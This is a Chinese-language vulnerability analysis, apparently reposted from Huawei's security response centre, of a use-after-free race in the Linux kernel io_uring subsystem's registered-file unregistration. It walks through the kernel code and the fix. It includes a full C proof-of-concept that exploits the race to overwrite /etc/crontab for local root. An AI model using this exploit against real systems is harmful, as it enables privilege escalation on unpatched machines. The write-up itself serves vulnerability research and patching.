1:简介
本文将介绍去年发现的一次Linux内核IO_URING子系统修复,本文将在ubuntu上进行本地提权的内核分析。
该问题已经在内核内核版本修复并合入LTS分支。
2:IO_URING及文件机制
IO_URING是内核提供的一个异步IO机制。进程和内核共享两个环形队列:Submit Queue和Consume Queue。分别用于进程提交任务和内核返回任务的执行结果。
下面的代码展示了一个使用IO_URING的最简单的例子,在这个例子里我们提交两个任务到内核:
-
从stdin(fd 0)读100个字节
-
向stdout (fd 1) 写100个字节
char buffer[1024] = {'A'};
struct io_uring ring;
io_uring_queue_init(32, &ring, IORING_SETUP_SQPOLL);
sqe = io_uring_get_sqe(&ring);
io_uring_prep_read(sqe, 0, buffer, 100, 0);
seq->flags |= IOSQE_IO_LINK;
sqe = io_uring_get_sqe(&ring);
io_uring_prep_write(sqe, 1, buffer, 100, 0);
io_uring_submit(&ring);
内核在接收到上述任务后,会在io_file_get_normal
函数中使用fget(fd)
方法获取file
指针并增加其引用计数。为req->file
赋值后,执行该任务或并将该任务送入后台的线程池。
static struct file *io_file_get_normal(struct io_kiocb *req, int fd)
{
struct file *file = fget(fd);
trace_io_uring_file_get(req->ctx, fd);
/* we don't allow fixed io_uring files */
if (file && file->f_op == &io_uring_fops)
req->flags |= REQ_F_INFLIGHT;
return file;
}
static bool io_assign_file(struct io_kiocb *req, unsigned int issue_flags)
{
if (req->file || !io_op_defs[req->opcode].needs_file)
return true;
if (req->flags & REQ_F_FIXED_FILE)
req->file = io_file_get_fixed(req, req->fd, issue_flags);
else
req->file = io_file_get_normal(req, req->fd);
if (req->file)
return true;
req_set_fail(req);
req->result = -EBADF;
return false;
}
进程也可以将选择将文件描述符提前在IO_URING的上下文中注册。并在提交任务时,通过IOSQE_FIXED_FILE
属性,让内核使用之前提前注册好的文件。这种情况下,因为在注册阶段,内核已经持有了file的一个引用计数,在io_file_get_fixed
函数中,就不再调用fget增加引用计数了,而直接使用io_fixed_file_slot
获取注册文件表中的file
指针。
static inline struct file *io_file_get_fixed(struct io_kiocb *req, int fd,
unsigned int issue_flags)
{
struct io_ring_ctx *ctx = req->ctx;
struct file *file = NULL;
unsigned long file_ptr;
if (issue_flags & IO_URING_F_UNLOCKED)
mutex_lock(&ctx->uring_lock);
if (unlikely((unsigned int)fd >= ctx->nr_user_files))
goto out;
fd = array_index_nospec(fd, ctx->nr_user_files);
file_ptr = io_fixed_file_slot(&ctx->file_table, fd)->file_ptr;
file = (struct file *) (file_ptr & FFS_MASK);
file_ptr &= ~FFS_MASK;
/* mask in overlapping REQ_F and FFS bits */
req->flags |= (file_ptr << REQ_F_SUPPORT_NOWAIT_BIT);
io_req_set_rsrc_node(req, ctx, 0);
out:
if (issue_flags & IO_URING_F_UNLOCKED)
mutex_unlock(&ctx->uring_lock);
return file;
}
进程能通过io_uring_register
syscall的IORING_REGISTER_FILES、IORING_UNREGISTER_FILES注册或释放文件表。
在注销时,可能仍有运行或者等待的任务存活,且这些任务并没有持有文件的引用计数,因此,IORING_REGISTER_FILES
和IORING_UNREGISTER_FILES
这两个命令可能会阻塞,直到所有在运行的任务执行完成后才可以进行。在内核的早期版本中,io_uring通过percpu_ref机制,首先阻止新任务创建,并释放全局锁,等待所有任务完成后,在对注册文件表进行更新。
//linux kernel
percpu_ref_kill(&ctx->refs);
/*
* Drop uring mutex before waiting for references to exit. If another
* thread is currently inside io_uring_enter() it might need to grab
* the uring_lock to make progress. If we hold it here across the drain
* wait, then we can deadlock. It's safe to drop the mutex here, since
* no new references will come in after we've killed the percpu ref.
*/
mutex_unlock(&ctx->uring_lock);
wait_for_completion(&ctx->ctx_done);
mutex_lock(&ctx->uring_lock);
switch (opcode) {
case IORING_REGISTER_BUFFERS:
ret = io_sqe_buffer_register(ctx, arg, nr_args);
break;
...
case IORING_REGISTER_FILES:
ret = io_sqe_files_register(ctx, arg, nr_args);
break;
case IORING_UNREGISTER_FILES:
ret = -EINVAL;
if (arg || nr_args)
break;
ret = io_sqe_files_unregister(ctx);
break;
有一些应用,有频繁的更新注册文件表的需求,为了避免频繁阻塞进程,内核在后来添加了文件表的动态更新接口。
3:注册文件动态更新
Node
后续版本开始,内核增加了IORING_REGISTER_FILES_UPDATE
子命令支持文件的动态添加,替换和删除,且不再阻塞。我这里以某LTS版本进行具体分析。
添加文件的场景比较简单,只需要正常持有文件的引用计数(fget
),并将其加入文件表中即可。
替换场景其实是就是添加和删除两个命令串联。
而删除的场景下,以图中删除B为例。由于可能仍然有任务持有了B的指针并进行访问,且任务本身并不持有引用计数。所以不能简单的fput(B),B的引用需要有其他角色去持有。
这里IO_URING引入了一个概念,叫做Node。新创建的任务(下图Job1)都会持有当前的Node的引用。
当文件被动态删除时,IO_URING会创建一个新的Node(Files Node2),并将被删除的文件的所有权转从文件表中转移到上一个Node中。之后创建的新任务,将关联到新的Node上。
这样的话,之前那些仍在运行的任务就通过Node间接持有了文件。
之后新创建的任务(Job2)则持有新节点。
同时,由于比较新创建的任务可能会比之前的任务更早完成,这时旧任务使用的文件就可能因为在新任务完成后,(由于关联的Node)提前释放,从而导致UAF。(如下图,当Job2先于Job1完成时,Job1的B指针就会悬空,产生UAF)。
因此在https://github.com/torvalds/linux/commit/e297822b20e7fe683e107aea46e6402adcf99c70,Node之间也形成了一个链表,来保证其释放顺序。
4:IORING_UNREGISTER_FILES的优化
我们前面提到,引入的IORING_UNREGISTER_FILES两个命令会等待所有任务执行完毕后,再执行。其实我们就至少不用等所有任务都执行完了,只需要等待使用了注册文件的那些任务做完就好了。
因此,后来版本,io_uring做出了优化:
-
进程发起
IORING_UNREGISTER_FILES
后,立刻再创建一个新的Node:这样所有有任务关联的Node,就都在Node链表中了。
-
释放全局锁,等待所有链表中的Node被释放,触发
data->done
。 -
data->done
完成后,因为全局锁没有还没有被锁住,所以会发生race,有文件被删除,导致链表非空。重新上锁后,再次确认链表中节点的个数(data->refs
)。 -
确认所有任务都已经完成,且被上锁后,释放文件表中的所有文件
io_free_file_tables(&ctx->file_table)
。
static int io_rsrc_ref_quiesce(struct io_rsrc_data *data, struct io_ring_ctx *ctx)
{
int ret;
/* As we may drop ->uring_lock, other task may have started quiesce */
if (data->quiesce)
return -ENXIO;
data->quiesce = true;
do {
// 1. 创建新Node
ret = io_rsrc_node_switch_start(ctx);
if (ret)
break;
io_rsrc_node_switch(ctx, data);
/* kill initial ref, already quiesced if zero */
if (atomic_dec_and_test(&data->refs))
break;
//2. 释放全局锁
mutex_unlock(&ctx->uring_lock);
flush_delayed_work(&ctx->rsrc_put_work);
//2. 并等待所有Node释放。
ret = wait_for_completion_interruptible(&data->done);
if (!ret) {
//3. 上锁后再次确认没有发生Race
mutex_lock(&ctx->uring_lock);
if (atomic_read(&data->refs) > 0) {
/*
* it has been revived by another thread while
* we were unlocked
*/
mutex_unlock(&ctx->uring_lock);
} else {
break;
}
}
atomic_inc(&data->refs);
/* wait for all works potentially completing data->done */
flush_delayed_work(&ctx->rsrc_put_work);
reinit_completion(&data->done);
ret = io_run_task_work_sig();
mutex_lock(&ctx->uring_lock);
} while (ret >= 0);
data->quiesce = false;
return ret;
}
static int io_sqe_files_unregister(struct io_ring_ctx *ctx)
{
unsigned nr = ctx->nr_user_files;
int ret;
if (!ctx->file_data)
return -ENXIO;
ret = io_rsrc_ref_quiesce(ctx->file_data, ctx);
if (!ret)
__io_sqe_files_unregister(ctx);
return ret;
}
static void __io_sqe_files_unregister(struct io_ring_ctx *ctx)
{
#if defined(CONFIG_UNIX)
if (ctx->ring_sock) {
struct sock *sock = ctx->ring_sock->sk;
struct sk_buff *skb;
while ((skb = skb_dequeue(&sock->sk_receive_queue)) != NULL)
kfree_skb(skb);
}
#else
int i;
for (i = 0; i < ctx->nr_user_files; i++) {
struct file *file;
file = io_file_from_index(ctx, i);
if (file)
fput(file);
}
#endif
io_free_file_tables(&ctx->file_table); //4. 释放温文件表中的所有文件
io_rsrc_data_free(ctx->file_data);
ctx->file_data = NULL;
ctx->nr_user_files = 0;
}
5:问题复现
前面卖了这么多关子,终于到了最后的问题复现环节!
在上一节提到的优化中,其实包含了一个假设:所有的在链表中的Node都被释放后,就没有任何其他文件相关的任务存活了。
但这个假设并不总能成立。因为用来和新任务关联的空的Node节点,总是是不在链表中的,这给予了我们Race的机会:
-
在步骤4.1中,创建了一个新节点,并将旧节点送入链表,此时这个假设仍是成立的。
-
但在步骤4.2中,解锁了全局锁后,进程仍然可以通过race,提交一个新的任务进来,且这个任务关联的Node就不再链表中了。这时假设就不成立了。
-
这时当io_uring在第4步释放文件表后,通过race提交的任务持有的文件指针就悬空了,导致了UAF。
另一个很幸运的特点是:因为步骤4.2中,io_uring会等待链表中的Node被释放,因此这其实给了我们充足的时间将Race任务提交进来,这样我们就有了一个很稳定的file
的UAF。
file
指针的利用技巧已经有很多文章介绍了,如参考资料[1][2]。我这里简单参考了以往的利用方式,完成了任意修改只读文件的利用,从而实现了ubuntu的本地提权。
-
首先提交一个写入任务,并利用其中问题将其使用的file释放,使指针悬空。
-
再喷上一个只读的没有权限写入的文件(如/etc/crontab)。
-
最后写入任务执行时,就可以向只读文件写入任意内容,实现提权。
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <sys/poll.h>
#include <sys/socket.h>
#include <unistd.h>
#include <pthread.h>
#include <assert.h>
#include "liburing.h"
int victim_fd = 0;
int control_pipes[2];
struct io_uring ring;
char buffer[10];
char payload[1024*1024*100];
int payload_len = 0;
const char * target_path = NULL;
void consume() {
struct io_uring_cqe *cqe;
int ret = io_uring_wait_cqe(&ring, &cqe);
printf("consuming..n");
if (ret < 0) {
printf("Error when consuming: %sn",
strerror(-ret));
return;
}
if (!cqe) return;
if (cqe->res < 0) {
printf("Error in async operation: %sn", strerror(-cqe->res));
;
}
printf("Result: %dn", cqe->res);
printf("%lldn", cqe->user_data);
io_uring_cqe_seen(&ring, cqe);
}
void * work(void *) {
//创建两个LINK的任务,前一个从管道读取数据,被阻塞
//这样我们就可以控制一个任务使用的registered_file被Free后发生Use的时机。
struct io_uring_sqe * sqe;
sqe = io_uring_get_sqe(&ring);
io_uring_prep_read(sqe, control_pipes[0], buffer, 1, 0);
sqe->flags |= IOSQE_IO_LINK;
sqe->user_data = 1;
sqe = io_uring_get_sqe(&ring);
io_uring_prep_write(sqe, 0, payload, payload_len, 0);
sqe->flags |= IOSQE_FIXED_FILE | IOSQE_IO_LINK;
sqe->user_data = 2;
io_uring_submit(&ring);
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("usage: %s <target file> <source>", argv[0]);
}
int fd = open(argv[2], 0);
assert(fd >= 0);
payload_len = read(fd, payload, sizeof(payload));
assert(payload_len >= 1);
close(fd);
target_path = argv[1];
struct io_uring_params params;
memset(¶ms, 0, sizeof(params));
params.flags |= IORING_SETUP_SQPOLL;
params.sq_thread_idle = 3000;
if (io_uring_queue_init_params(128, &ring, ¶ms) < 0) {
perror("io_uring_init_failed...n");
exit(1);
}
int ret;
ret = pipe(control_pipes);
assert(ret == 0);
int fds[1024000];
for (int i = 0; i < 1024000; i++) {//获得一个干净的堆
int fd = open(target_path, 0);
assert( fd>=0 );
fds[i] = fd;
if (i == 102412)
victim_fd = open("./write", O_RDWR|O_CREAT, 0777);//准备一个可写文件
}
for (int i = 0; i < 1024000; i+=2) {
close(fds[i]);
}
assert(victim_fd >= 0);
ret = io_uring_register_files(&ring, &victim_fd, 1);//将可写文件注册进io_uring
assert(ret == 0);
pthread_t thread;
pthread_create(&thread, NULL, work, NULL);
io_uring_unregister_files(&ring);
close(victim_fd);//触发问题,关闭victim_fd,提交的任务的文件指针已经悬空
printf("spraying..n");
for (int i = 0; i < 1024000; i+=2) {
int fd = open(target_path, 0);// 将/etc/crontab的file喷回
assert(fd >= 0);
}
write(control_pipes[1], "1", 1);//让被阻塞的任务继续执行,出发UAF,完成写入。
consume();
consume();
//close(pipes[1]);
}
完整学习资料:
https://github.com/Jiggly-Puffs/io_uring_LPE
6:问题修复
该问题在主线版本修复:
static int io_sqe_files_unregister(struct io_ring_ctx *ctx)
{
+ unsigned nr = ctx->nr_user_files;
int ret;
if (!ctx->file_data)
return -ENXIO;
+
+ /*
+ * Quiesce may unlock ->uring_lock, and while it's not held
+ * prevent new requests using the table.
+ */
+ ctx->nr_user_files = 0;
ret = io_rsrc_ref_quiesce(ctx->file_data, ctx);
+ ctx->nr_user_files = nr;
if (!ret)
__io_sqe_files_unregister(ctx);
return ret;
}
在解锁前,将ctx->nr_user_files
置0,避免进程可以创建出使用注册文件的任务。在所有相关任务完成后,再释放相关资源即可。
参考资料
[1]: https://i.blackhat.com/USA-22/Wednesday/US-22-Wu-Devils-Are-in-the-File.pdf
[2]: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
本公众号发布、转载的文章所涉及的技术、思路、工具仅供学习交流,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
原文始发于微信公众号(华为安全应急响应中心):[安全技术分享] 一次对Linux中IO_URING子系统的本地提权问题分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论